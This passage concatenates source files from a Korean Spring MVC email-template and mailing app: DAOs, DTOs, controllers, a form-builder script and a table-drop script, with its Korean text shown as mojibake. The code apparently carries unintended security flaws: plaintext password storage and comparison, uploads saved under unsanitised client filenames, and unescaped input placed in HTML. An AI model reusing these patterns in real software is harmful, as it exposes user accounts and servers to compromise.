sqlSession.update(namespace+"group_cnt",dto); } catch (Exception e) { e.printStackTrace(); } return res; } @Override public int delete_addr(AddressDto dto) { int res = 0; try { res = sqlSession.delete(namespace+"delete_group_addr",dto); } catch (Exception e) { e.printStackTrace(); } return res; } @Override public String selectOne_email(AddressDto dto) { String res = null; System.out.println(dto.getCustomer_seq()+"๋””๋น„์— ๋„ฃ์„ seq"+dto.getMembers_seq()+"\t"+dto.getGroup_seq()); try { res = sqlSession.selectOne(namespace+"selectOne_email_to", dto); } catch (Exception e) { e.printStackTrace(); } System.out.println(res+"๋””๋น„์—์„œ ๋‚˜์˜จ ์ด๋ฉ”์ผ ํ™•์ธ ๊ฐ’"); return res; } @Override public List<String> selectOne_cus_seq(AddressDto dto) { System.out.println(dto.getGroup_seq()+"๊ทธ๋ฃน๊ทธ๋ฃน"+dto.getMembers_seq()+"๋ฉค๋ฒ„๋ฉค๋ฒ„"); //List<Integer> ress = null; List<String> res = null; try { res = sqlSession.selectList(namespace +"selectList_cusSeq", dto); System.out.println(res); //res = (tmp==null)?0:Integer.parseInt(tmp.toString()); } catch (Exception e) { e.printStackTrace(); } return res; } }``` tomail_All_drop.sql ```DROP TABLE ADDRESS_TABLE; drop sequence address_customer_seq; DROP TABLE GROUP_ADDRESS_TABLE; DROP SEQUENCE GROUP_ADDRESS_SEQ; DROP SEQUENCE members_SEQ; DROP TABLE members;``` Criteria.java ```package com.tmail.board.Dto; import org.springframework.web.util.UriComponentsBuilder; //import static org.springframework.test.web.client.match.MockRestRequestMatchers.queryParam; public class Criteria { private int pageNum; private int amount; MailboxDto mailbox = new MailboxDto(); public Criteria() { this(1, 10); } public Criteria(int pageNum, int amount) { this.pageNum = pageNum; this.amount = amount; } public String getListLink() { UriComponentsBuilder builder = UriComponentsBuilder.fromPath("") .queryParam("pageNum", this.pageNum) .queryParam("amount", this.getAmount()); return builder.toUriString(); } public int getPageNum() { return pageNum; } public void setPageNum(int pageNum) { this.pageNum = pageNum; } public int getAmount() { return amount; } public void setAmount(int amount) { this.amount = amount; } } ``` formBuilderTest.js ```$(document).ready(function () { $(".form_bal_textfield").draggable({ //๋“œ๋ž˜๊ทธํ•จ helper: function () { //๋“œ๋ž˜๊ทธ ์ค‘ ์‚ฌ์šฉํ•  ํ•จ์ˆ˜ return getTextFieldHTML(); }, connectToSortable: ".form_builder_area" }); function getTextFieldHTML() { var field = generateField(); var html = '<div class="all_div"><div class="row li_row"><div class="col-md-12" style="text-align : center;"><strong>Text</strong><button type="button" class="btn btn-primary btn-sm remove_bal_field pull-right" data-field="' + field + '"><i class="fa fa-times"></i></button></div></div></div><hr/><div class="row li_row form_output" data-type="text" data-field="' + field + '"><div class="col-md-12"><div class="form-group"><input type="text" name="label_' + field + '" class="form-control form_input_label" value="form-control" placeholder="Class" data-field="' + field + '"/></div></div><div class="col-md-12"><div class="form-group"><input type="text" name="placeholder_' + field + '" data-field="' + field + '" class="form-control form_input_placeholder" placeholder="Placeholder"/></div></div><div class="col-md-12"><div class="form-group"><input type="text" name="text_' + field + '" class="form-control form_input_name" placeholder="Name"/></div></div><div class="col-md-12"><div class="form-check"><label class="form-check-label"><input data-field="' + field + '" type="checkbox" class="form-check-input form_input_req">Required</label></div></div></div>'; return $('<div>').addClass('li_' + field + ' form_builder_field').html(html); } function generateField() { return Math.floor(Math.random() * (100000 - 1 + 1) + 57); } function getPreview(plain_html = '') { var el = $('.form_builder_area .form_output'); var html = ''; el.each(function () { var data_type = $(this).attr('data-type'); //var field = $(this).attr('data-field'); var label = $(this).find('.form_input_label').val(); var name = $(this).find('.form_input_name').val(); if (data_type === 'text') { var placeholder = $(this).find('.form_input_placeholder').val(); var checkbox = $(this).find('.form-check-input'); var required = ''; if (checkbox.is(':checked')) { required = 'required'; } html += '<input type="text" name="' + name + '" placeholder="' + placeholder + '" class="'+label+'" ' + required + '/>'; } if (html.length) { //๋ฒ„ํŠผ์„ ๋ณด์—ฌ์ฃผ๊ฒŒํ•˜๊ณ (html์ด ๊ธธ์ด๊ฐ€ ์žˆ์œผ๋ฉด) $('.export_html').show(); } }); } });// end $(document).ready(function(){}) ``` MailboxController.java ```package com.tmail.board.controller; import java.io.IOException; import java.io.PrintWriter; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.List; import javax.mail.MessagingException; import javax.mail.internet.MimeMessage; import javax.servlet.http.HttpServletResponse; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.HttpStatus; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.mail.javamail.JavaMailSender; import org.springframework.mail.javamail.MimeMessageHelper; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.ModelAttribute; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.servlet.mvc.support.RedirectAttributes; import com.tmail.board.Biz.MailboxBiz; import com.tmail.board.Biz.RegisterBiz; import com.tmail.board.Dto.AddressDto; import com.tmail.board.Dto.Criteria; import com.tmail.board.Dto.MailboxAttachDto; import com.tmail.board.Dto.MailboxDto; import com.tmail.board.Dto.PageDto; import com.tmail.board.Dto.RegisterDto; @Controller public class MailboxController { @Autowired MailboxBiz biz; @Autowired RegisterBiz regBiz; @Autowired JavaMailSender mailSender; RegisterDto regDto = new RegisterDto(); @RequestMapping("/mailForm") public String getFileForm() { return "mailFormTest"; } @RequestMapping("/getList") public String getList(Criteria cri, String email, Model model) { model.addAttribute("email", email); model.addAttribute("list", biz.getList(cri, email)); int total = biz.getTotal(cri, email); model.addAttribute("pageMaker", new PageDto(cri, total)); return "getList"; } @GetMapping(value="/getAttachList", produces=MediaType.APPLICATION_JSON_UTF8_VALUE) @ResponseBody public ResponseEntity<List<MailboxAttachDto>> getAttachList(int bno){ return new ResponseEntity<>(biz.getAttachList(bno), HttpStatus.OK); } @RequestMapping(value= "/updateMail", method=RequestMethod.GET) public String updateMail(MailboxDto mail, int bno, String email, Criteria cri, int template, Model model, HttpServletResponse response) { model.addAttribute("mail", biz.getMail(bno)); if(template == 1) { model.addAttribute("template", "temFn1.jsp"); } else if(template == 2) { model.addAttribute("template", "temFn2.jsp"); } else if(template == 3) { model.addAttribute("template", "temFn3.jsp"); } else if(template == 4) { model.addAttribute("template", "temFn4.jsp"); } else if(template == 5) { model.addAttribute("template", "temFn5.jsp"); } response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); return "templateBuilder_view"; } @RequestMapping(value="/updateMail", method=RequestMethod.POST) public String updateMail(MailboxDto mail, Criteria cri, RedirectAttributes rttr, String email, String template, HttpServletResponse response, AddressDto addr) throws MessagingException, IOException { if(biz.updateMail(mail)) { rttr.addFlashAttribute("result", "success"); rttr.addAttribute("email", email); } return "redirect: getList" + cri.getListLink(); } @RequestMapping(value="/deleteMail") public String deleteMail(@RequestParam("bno") int bno, String email, @ModelAttribute("cri") Criteria cri, RedirectAttributes rttr) { List<MailboxAttachDto> attachList = biz.getAttachList(bno); if(biz.deleteMail(bno)) { deleteFiles(attachList); rttr.addFlashAttribute("result", "success"); rttr.addAttribute("email", email); } return "redirect: getList" + cri.getListLink(); } private void deleteFiles(List<MailboxAttachDto> attachList) { if(attachList == null || attachList.size() == 0){ return; } attachList.forEach(attach -> { try { Path file = Paths.get("C:\\upload\\"+attach.getUploadPath()+"\\"+attach.getUuid()+"_"+attach.getFileName()); Files.deleteIfExists(file); if(Files.probeContentType(file).startsWith("image")) { Path thumbNail = Paths.get("C:\\upload\\"+attach.getUploadPath()+"\\s_"+attach.getUuid()+"_"+attach.getFileName()); Files.delete(thumbNail); } } catch (Exception e) { e.printStackTrace(); System.out.println("Delete file error : " + e.getMessage()); } }); } @RequestMapping(method= {RequestMethod.PUT, RequestMethod.PATCH}, value="/preview", consumes = "application/json", produces = {MediaType.TEXT_PLAIN_VALUE}) @ResponseBody public ResponseEntity<String> preview(@RequestBody MailboxDto dto, @RequestParam("bno") int bno) { dto.setBno(bno); return biz.updateMail(dto) ? new ResponseEntity<>("success", HttpStatus.OK) : new ResponseEntity<>(HttpStatus.INTERNAL_SERVER_ERROR); } @RequestMapping(value="/showPreview", produces= {MediaType.APPLICATION_XML_VALUE, MediaType.APPLICATION_JSON_UTF8_VALUE}) @ResponseBody public ResponseEntity<MailboxDto> showPreview(@RequestParam("bno") int bno){ return new ResponseEntity<>(biz.getMail(bno), HttpStatus.OK); } } ``` HelpController.java ```package com.tmail.board.controller; import java.io.IOException; import java.io.PrintWriter; import java.util.ArrayList; import java.util.List; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import com.tmail.board.Biz.AddressBiz; import com.tmail.board.Biz.HelpBiz; import com.tmail.board.Biz.RegisterBiz; import com.tmail.board.Dto.AddressDto; import com.tmail.board.Dto.Address_GroupDto; import com.tmail.board.Dto.HelpDto; @Controller public class HelpController { Logger log = LoggerFactory.getLogger(HelpController.class); @Autowired private RegisterBiz biz; @Autowired private HelpBiz help_biz; @Autowired private AddressBiz address_biz; @RequestMapping(value = "helpform.do") public String helpform(String email, Model model, HttpSession session, HelpDto dto) { session.setAttribute("email", email); String name = help_biz.help_registerName(email); System.out.println(name + "๋””๋น„์—์„œ ๋‚˜์˜จ์ด๋ฆ„"); model.addAttribute("list", help_biz.help_groupList()); model.addAttribute("name", name); return "help_tomail"; } @RequestMapping(value = "help_insert.do") public String help_insert(Model model, HttpSession session, HelpDto dto) { String email = (String) session.getAttribute("email"); String name = help_biz.help_registerName(email); System.out.println(name + "๋””๋น„์—์„œ ๋‚˜์˜จ์ด๋ฆ„"); dto.setMembers_name(name); help_biz.insertHelp(dto); model.addAttribute("list", help_biz.help_groupList()); model.addAttribute("name", name); return "help_tomail"; } @RequestMapping(value = "help_update.do") public String help_update(String email, Model model, HttpSession session, HelpDto dto, HttpServletResponse response) { session.setAttribute("email", email); String name = help_biz.help_registerName(email); dto.setMembers_name(name); int num = help_biz.help_update(dto); System.out.println(name + "๋””๋น„์—์„œ ๋‚˜์˜จ์ด๋ฆ„"); if (num == 1) { model.addAttribute("list", help_biz.help_groupList()); model.addAttribute("name", name); return "help_tomail"; } else if (num == 0) { response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out_p = null; try { out_p = response.getWriter(); out_p.println("<script>alert('์‹คํŒจ..');</script>"); } catch (IOException e) { e.printStackTrace(); } finally { out_p.flush(); } model.addAttribute("list", help_biz.help_groupList()); model.addAttribute("name", name); return "help_tomail"; } return "error"; } @RequestMapping(value = "delete_help.do") public String help_delete(int help_seq, Model model, HttpSession session, HttpServletResponse response) { int res = help_biz.help_delete(help_seq); String email = (String) session.getAttribute("email"); String name = help_biz.help_registerName(email); System.out.println(name + "๋””๋น„์—์„œ ๋‚˜์˜จ์ด๋ฆ„"); if (res == 1) { model.addAttribute("list", help_biz.help_groupList()); model.addAttribute("name", name); return "help_tomail"; } else if (res == 0) { response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out_p = null; try { out_p = response.getWriter(); out_p.println("<script>alert('์‹คํŒจ..');</script>"); } catch (IOException e) { e.printStackTrace(); } finally { out_p.flush(); } model.addAttribute("list", help_biz.help_groupList()); model.addAttribute("name", name); return "help_tomail"; } return "error"; } // ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์„ ํƒํ•œ ๊ทธ๋ฃน @RequestMapping(value = "addr_group.do") public String group_seq(int[] all_value, HttpSession session, AddressDto dto, Model model) { List<String> addr_email = new ArrayList<String>(); List<String> cus_seq = null; List<String> emails = new ArrayList<String>(); String email = (String) session.getAttribute("group_email"); System.out.println(email + "์„ธ์…˜ ์ด๋ฉ”์ผ------------------"); System.out.println(emails + "๋ณด๋‚ธ ๊ตฌ๋…์ž ์ด๋ฉ”์ผ"); int members_seq = biz.member_seq_return(email); System.out.println(members_seq + "๋ฉค๋ฒ„ seq ๋ฆฌํ„ด"); for (int i = 0; i < all_value.length; i++) { int res = address_biz.group_admin_size(all_value[i]); System.out.println(all_value[i] + "๊ทธ๋ฃนSEQ-------------------"); if (res != 0) { dto.setGroup_seq(all_value[i]); dto.setMembers_seq(members_seq); cus_seq = address_biz.selectOne_cus_seq(dto); System.out.println(cus_seq+"cus_seq-----return"); System.out.println("controller:" + dto.getCustomer_seq() + ""); List<String> emails_return = help_biz.help_email_return(dto,cus_seq); System.out.println(emails_return+"##################"); for(String j : emails_return){ emails.add(j); } //System.out.println("controller:" + addr_email.get(i)); System.out.println("controller end"); } } System.out.println(emails + "------------------------------์ œ๋ฐœ"); session.setAttribute("emails", emails); model.addAttribute("emails_fuc",emails); model.addAttribute("email",email); return "emailTemplate"; } }``` Group_addressEmailDto.java ```package com.tmail.board.Dto; public class Group_addressEmailDto { private String group_address_email; private int members_seq; private int group_seq; public String getGroup_address_email() { return group_address_email; } public void setGroup_address_email(String group_address_email) { this.group_address_email = group_address_email; } public int getMembers_seq() { return members_seq; } public void setMembers_seq(int members_seq) { this.members_seq = members_seq; } public int getGroup_seq() { return group_seq; } public void setGroup_seq(int group_seq) { this.group_seq = group_seq; } @Override public String toString() { return "Group_addressEmailDto [group_address_email=" + group_address_email + ", members_seq=" + members_seq + ", group_seq=" + group_seq + "]"; } } ``` MailboxDao.java ```package com.tmail.board.Dao; import java.util.List; import org.apache.ibatis.annotations.Param; import com.tmail.board.Dto.Criteria; import com.tmail.board.Dto.MailboxDto; import com.tmail.board.Dto.RegisterDto; public interface MailboxDao { String namespace = "mailbox."; List<MailboxDto> getList(@Param("cri") Criteria cri, @Param("email") String email); List<MailboxDto> getTemplates(String email); void addMail(MailboxDto mail); void insertSelectKey(MailboxDto mail); MailboxDto getMail(int bno); boolean deleteMail(int bno); boolean updateMail(MailboxDto mail); int getTotal(String email); } ``` MailboxDaoImpl.java ```package com.tmail.board.Dao.impl; import java.util.HashMap; import java.util.List; import java.util.Map; import org.mybatis.spring.SqlSessionTemplate; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Repository; import com.tmail.board.Dao.MailboxDao; import com.tmail.board.Dto.Criteria; import com.tmail.board.Dto.MailboxDto; @Repository public class MailboxDaoImpl implements MailboxDao{ @Autowired SqlSessionTemplate sql; @Override public List<MailboxDto> getList(Criteria cri, String email) { Map<String, Object> map = new HashMap<String, Object>(); map.put("cri", cri); map.put("email", email); return sql.selectList(namespace + "getListWithPaging", map); } @Override public int getTotal(String email) { return sql.selectOne(namespace + "getCountByEmail", email); } @Override public void addMail(MailboxDto mail) { sql.insert(namespace + "addMail", mail); } @Override public void insertSelectKey(MailboxDto mail) { sql.insert(namespace + "insertSelectKey", mail); } @Override public MailboxDto getMail(int bno) { return sql.selectOne(namespace + "getMail", bno); } @Override public boolean deleteMail(int bno) { return sql.delete(namespace + "deleteMail", bno) == 1; } @Override public boolean updateMail(MailboxDto mail) { return sql.update(namespace + "updateMail", mail) == 1; } @Override public List<MailboxDto> getTemplates(String email) { return sql.selectList(namespace + "getTemplates", email); } } ``` EmailbuilderController.java ```package com.tmail.board.controller; import java.io.File; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.io.PrintWriter; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import javax.mail.MessagingException; import javax.mail.internet.MimeMessage; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Profile; import org.springframework.mail.javamail.JavaMailSender; import org.springframework.mail.javamail.MimeMessageHelper; import org.springframework.http.HttpRequest; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.multipart.MultipartFile; import org.springframework.web.multipart.MultipartHttpServletRequest; import org.springframework.web.util.WebUtils; import com.tmail.board.Biz.AddressBiz; import com.tmail.board.Biz.HelpBiz; import com.tmail.board.Biz.MailboxBiz; import com.tmail.board.Biz.RegisterBiz; import com.tmail.board.Dto.AddressDto; import com.tmail.board.Dto.Criteria; import com.tmail.board.Dto.MailboxDto; import com.tmail.board.Dto.PageDto; import com.tmail.board.Dto.SummernoteDto; import com.tmail.board.excel.ReadXLSX; @Controller public class EmailbuilderController { @Autowired private JavaMailSender mailSender; @Autowired private RegisterBiz reg_biz; @Autowired private AddressBiz biz; @Autowired private ReadXLSX ex_red; @Autowired private HelpBiz help_biz; @Autowired private MailboxBiz mailboxBiz; @RequestMapping(value="EmailBuilderForm.do") public String EmailBuilderForm() { return "EmailBuilder_head"; } @RequestMapping(value="testess.do") public String testess(Model model, String email) { model.addAttribute("email", email); return "emailTemplate"; } @RequestMapping(value="convas.do",method=RequestMethod.POST) public String convas(@RequestParam("profile") Profile profile){ System.out.println(profile); return "mailTest"; } @RequestMapping(value="tem.do") public String template(HttpSession session ,int num, String email, Model model) { model.addAttribute("email", email); session.setAttribute("num", num); if(num==1) { return "tem1"; }else if(num==2) { return "tem2"; }else if(num==3) { return "tem3"; }else if(num==4) { return "tem4"; }else if(num==5) { return "tem5"; } return "error"; } @RequestMapping(value="tem_sel.do") public String template_select(HttpSession session, Model model, SummernoteDto dto) { System.out.println(dto.getEmail()+"์™€ ์ œ๋ฐœ ํ•˜๋А๋‹˜"); String email = (String) session.getAttribute("email"); session.setAttribute("client_email", email); int num = (Integer) session.getAttribute("num"); System.out.println(num); if(num==1) { model.addAttribute("email_fuc", dto.getEmail()); model.addAttribute("template", "tem1.jsp"); model.addAttribute("title",dto.getBuild_content()); return "templateBuilder_view"; }else if(num==2) { model.addAttribute("email_fuc", dto.getEmail()); model.addAttribute("template", "tem2.jsp"); model.addAttribute("title",dto.getBuild_content()); return "templateBuilder_view"; }else if(num==3) { model.addAttribute("email_fuc", dto.getEmail()); model.addAttribute("template", "tem3.jsp"); model.addAttribute("title",dto.getBuild_content()); return "templateBuilder_view"; }else if(num==4) { model.addAttribute("email_fuc", dto.getEmail()); model.addAttribute("template", "tem4.jsp"); model.addAttribute("title",dto.getBuild_content()); return "templateBuilder_view"; }else if(num==5) { model.addAttribute("email_fuc", dto.getEmail()); model.addAttribute("template", "tem5.jsp"); model.addAttribute("title",dto.getBuild_content()); return "templateBuilder_view"; } return "error"; } @RequestMapping(value="change_img.do") public String imgChange(HttpServletResponse response, MultipartHttpServletRequest multi, Model model, HttpSession session) throws IOException { int num = (Integer) session.getAttribute("num"); InputStream inputStream = null; OutputStream outputStream = null; if(multi.getFile("files").getSize()>0) { // ํŒŒ์ผ๊ฒฝ๋กœ String path = ""; try { path = WebUtils.getRealPath(multi.getSession().getServletContext(), "/storage"); } catch (FileNotFoundException e1) { e1.printStackTrace(); } System.out.println(path); // ํŒŒ์ผ๋“ค์„ Listํ˜•์‹์œผ๋กœ ๋ณด๊ด€ List<MultipartFile> files = multi.getFiles("files"); File file = new File(path); // ํŒŒ์ผ์ด ์—†๋‹ค๋ฉด ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์ƒ์„ฑ if (file.exists() == false) { file.mkdirs(); } String paths = ""; //List<String> paths = new ArrayList<String>(); File filename = null; for (int i = 0; i < files.size(); i++) { inputStream = files.get(i).getInputStream(); System.out.println(files.get(i).getOriginalFilename() + " ์—…๋กœ๋“œ"); filename = new File(path + "/" + files.get(i).getOriginalFilename()); if (!filename.exists()) { filename.createNewFile(); } outputStream = new FileOutputStream(filename); int read = 0; byte[] b = new byte[(int) files.get(i).getSize()]; while ((read = inputStream.read(b)) != -1) { outputStream.write(b, 0, read); } System.out.println(session.getServletContext().getRealPath("/")+"๊ฒฝ๋กœ๊ฒฝ๋กœ"); System.out.println(path + "\\" + files.get(i).getOriginalFilename()); paths = path + "\\" + files.get(i).getOriginalFilename(); } session.setAttribute("img1", paths); if(num==1) { model.addAttribute("template", "tem1.jsp"); System.out.println(paths); model.addAttribute("img", paths); return "templateBuilder_view"; }else if(num==2) { model.addAttribute("template", "tem2.jsp"); model.addAttribute("img", paths); return "templateBuilder_view"; }else if(num==3) { model.addAttribute("template", "tem3.jsp"); model.addAttribute("img", paths); return "templateBuilder_view"; }else if(num==4) { model.addAttribute("template", "tem4.jsp"); model.addAttribute("img", paths); return "templateBuilder_view"; }else if(num==5) { model.addAttribute("template", "tem5.jsp"); model.addAttribute("img", paths); return "templateBuilder_view"; } return "templateBuilder_view"; }else { response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out_p = null; try { out_p = response.getWriter(); out_p.println("<script>alert('์ด๋ฏธ์ง€๋ฅผ ๋„ฃ์–ด์ฃผ์„ธ์š”');</script>"); } catch (IOException e) { e.printStackTrace(); } finally { out_p.flush(); } if(num==1) { model.addAttribute("template", "tem1.jsp"); return "templateBuilder_view"; }else if(num==2) { model.addAttribute("template", "tem2.jsp"); return "templateBuilder_view"; }else if(num==3) { model.addAttribute("template", "tem3.jsp"); return "templateBuilder_view"; }else if(num==4) { model.addAttribute("template", "tem4.jsp"); return "templateBuilder_view"; }else if(num==5) { model.addAttribute("template", "tem5.jsp"); return "templateBuilder_view"; } } return "templateBuilder_view"; } @RequestMapping(value="sendMail.do", method=RequestMethod.POST) public String tests(HttpServletResponse response, AddressDto addr, MailboxDto mail, Criteria cri, HttpSession session, Model model, String email) throws MessagingException, IOException { MimeMessage message = mailSender.createMimeMessage(); MimeMessageHelper messageHelper = new MimeMessageHelper(message, true, "UTF-8"); String setfrom = "jea830@hanmail.net"; List<String> tomail = mail.getRecipient(); // ๋ฐ›๋Š” ์‚ฌ๋žŒ ์ด๋ฉ”์ผ String title = mail.getTitle(); // ์ œ๋ชฉ String content = mail.getContent(); // ๋‚ด์šฉ for(int i = 0; i< tomail.size(); i++) { messageHelper.setFrom(setfrom); // ๋ณด๋‚ด๋Š”์‚ฌ๋žŒ ์ƒ๋žตํ•˜๊ฑฐ๋‚˜ ํ•˜๋ฉด ์ •์ƒ์ž‘๋™์„ ์•ˆํ•จ messageHelper.setTo(tomail.get(i)); // ๋ฐ›๋Š”์‚ฌ๋žŒ ์ด๋ฉ”์ผ messageHelper.setSubject(title); // ๋ฉ”์ผ์ œ๋ชฉ์€ ์ƒ๋žต์ด ๊ฐ€๋Šฅํ•˜๋‹ค messageHelper.setText(content, true); // html์ด๋ผ๋Š” ์˜๋ฏธ๋กœ true๋ฅผ ์จ์ค€๋‹ค. mailSender.send(message); } response.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); // ํ•œ๊ธ€๊นจ์ง ๋ฐฉ์ง€ PrintWriter out_p = null; out_p = response.getWriter(); out_p.println("<script>alert('๋ฉ”์ผ์„ ๋ณด๋ƒˆ์–ด์š”!');</script>"); out_p.flush(); mailboxBiz.addMail(mail); model.addAttribute("email", email); model.addAttribute("list", mailboxBiz.getList(cri, email)); int total = mailboxBiz.getTotal(cri, email); model.addAttribute("pageMaker", new PageDto(cri, total)); return "getList"; } } ``` AddressBizImpl.java ```package com.tmail.board.Biz.impl; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import com.tmail.board.Biz.AddressBiz; import com.tmail.board.Dao.AddressDao; import com.tmail.board.Dto.AddressDto; import com.tmail.board.Dto.Address_GroupDto; @Service public class AddressBizImpl implements AddressBiz { @Autowired private AddressDao dao; @Override public List<AddressDto> selectList(AddressDto dto) { return dao.selectList(dto); } @Override public AddressDto selectOne_email_chk(String name) { return dao.selectOne_email_chk(name); } @Override public int insert(AddressDto dto) { return dao.insert(dto); } @Override public int update(AddressDto dto) { return dao.update(dto); } @Override public int delete(String name) { return dao.delete(name); } @Override public int address_check(AddressDto dto) { return dao.address_check(dto); } @Override public int group_insert(Address_GroupDto dto) { return dao.group_insert(dto); } @Override public List<Address_GroupDto> selectList_Group(int members_seq) { return dao.selectList_Group(members_seq); } @Override public int group_admin_size(int group_seq) { return dao.group_admin_size(group_seq); } @Override public int delete_group(Address_GroupDto dto) { return dao.delete_group(dto); } @Override public int update_group(Address_GroupDto dto) { return dao.update_group(dto); } @Override public int group_cnt(Address_GroupDto dto) { return dao.group_cnt(dto); } @Override public int delete_addr(AddressDto dto) { return dao.delete_addr(dto); } @Override public String selectOne_email(AddressDto dto) { return dao.selectOne_email(dto); } @Override public List<String> selectOne_cus_seq(AddressDto dto) { return dao.selectOne_cus_seq(dto); } }``` AddressDto.java ```package com.tmail.board.Dto; import java.util.List; public class AddressDto { private int customer_seq; private String customer_name; private String customer_email; private int group_seq; private int members_seq; private String all_cus_seq; private List<String> email_list; public int getCustomer_seq() { return customer_seq; } public void setCustomer_seq(int customer_seq) { this.customer_seq = customer_seq; } public String getCustomer_name() { return customer_name; } public void setCustomer_name(String customer_name) { this.customer_name = customer_name; } public String getCustomer_email() { return customer_email; } public void setCustomer_email(String customer_email) { this.customer_email = customer_email; } public int getGroup_seq() { return group_seq; } public void setGroup_seq(int group_seq) { this.group_seq = group_seq; } public int getMembers_seq() { return members_seq; } public void setMembers_seq(int members_seq) { this.members_seq = members_seq; } public String getAll_cus_seq() { return all_cus_seq; } public void setAll_cus_seq(String all_cus_seq) { this.all_cus_seq = all_cus_seq; } public List<String> getEmail_list() { return email_list; } public void setEmail_list(List<String> email_list) { this.email_list = email_list; } @Override public String toString() { return "Email [customer_seq=" + customer_seq + ", customer_name=" + customer_name + ", customer_email=" + customer_email + ", members_seq=" + "]"; } }``` RegisterDaoImpl.java ```package com.tmail.board.Dao.impl; import org.mybatis.spring.SqlSessionTemplate; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Repository; import com.tmail.board.Dao.RegisterDao; import com.tmail.board.Dto.RegisterDto; @Repository public class RegisterDaoImpl implements RegisterDao { @Autowired private SqlSessionTemplate sqlSession; public int joinInsert(RegisterDto dto) { int res = 0; try { res = sqlSession.insert(namespace+"joinInsert",dto); } catch (Exception e) { e.printStackTrace(); } return res; } @Override public int loginSelect(String email,String pw) { String select_pw = null; try { select_pw = sqlSession.selectOne(namespace+"loginSelect",email); } catch(Exception e) { e.printStackTrace(); } if(pw.equals(select_pw)) { return 1; }else { return 0; } } @Override public int joinCheck(String email,String pw) { String select_email = null; try { select_email = sqlSession.selectOne(namespace+"joincheck",email); } catch(Exception e) { e.printStackTrace(); } if(email.equals(select_email)) { return 0; }else { return 1; } } @Override public int pass_ck(String email) { String seach_email = null; try { seach_email = sqlSession.selectOne(namespace+"pass_ck",email); } catch (Exception e) { e.printStackTrace(); } if(email.equals(seach_email)) { return 1; }else { return 0; } } @Override public void pass_complate(String email) { int res = 0; try { res = sqlSession.update(namespace+"pass_ck_complate",email); } catch (Exception e) { e.printStackTrace(); } } @Override public int pass_change(RegisterDto dto) { int res = 0; try { res = sqlSession.update(namespace+"pass_change", dto); } catch (Exception e) { e.printStackTrace(); } return res; } @Override public String mail_check(String email) { String mail_ck = null; try { mail_ck = sqlSession.selectOne(namespace+"mail_check", email); } catch (Exception e) { e.printStackTrace(); } return mail_ck; } @Override public int member_seq_return(String email) { int member_seq = 0; try { member_seq = sqlSession.selectOne(namespace+"member_seq_return", email); } catch (Exception e) { e.printStackTrace(); } return member_seq; } @Override public String master_name_ck(String email) { String master_name = ""; System.out.println(email); try { master_name = sqlSession.selectOne(namespace+"master_name_selectOne",email); } catch (Exception e) { e.printStackTrace(); } if(master_name.equals("๊ด€๋ฆฌ์ž")) { return master_name; }else { return "false"; } } @Override public RegisterDto getMember(int members_seq) { return sqlSession.selectOne(namespace + "selectMember" , members_seq); } }``` PersonalDaoImpl.java ```package com.tmail.board.Dao.impl; import java.util.List; import org.mybatis.spring.SqlSessionTemplate; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Repository; import com.tmail.board.Dao.PersonalDao; import com.tmail.board.Dto.AddressDto; import com.tmail.board.Dto.PersonalDto; @Repository public class PersonalDaoImpl implements PersonalDao { @Autowired private SqlSessionTemplate SqlSession; @Override public int person(PersonalDto dto) { String myPersonal = ""; try { myPersonal = SqlSession.selectOne(namespace + "personalSelect", dto); } catch (Exception e) { e.printStackTrace(); } if(dto.getMembers_pw().equals(myPersonal)) { return 1; } else { return 0; } } @Override public List<PersonalDto> personalList(PersonalDto dto) { List<PersonalDto>res = null; try { res = SqlSession.selectList(namespace + "personalList", dto); } catch (Exception e) { e.printStackTrace(); } return res; } @Override public int personalPwChange(PersonalDto dto) { int res = 0; try { res = SqlSession.update(namespace + "personalPwChange", dto); } catch (Exception e) { e.printStackTrace(); } return res; } } ``` PersonalBiz.java ```package com.tmail.board.Biz; import java.util.List; import com.tmail.board.Dto.PersonalDto; public interface PersonalBiz { public int person(PersonalDto dto); public List<PersonalDto> personalList(PersonalDto dto); public int personalPwChange(PersonalDto dto); } ``` ReadXLSX.java ```package com.tmail.board.excel; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.io.PrintWriter; import java.util.ArrayList; import java.util.Iterator; import java.util.List; import org.apache.poi.ss.usermodel.Cell; import 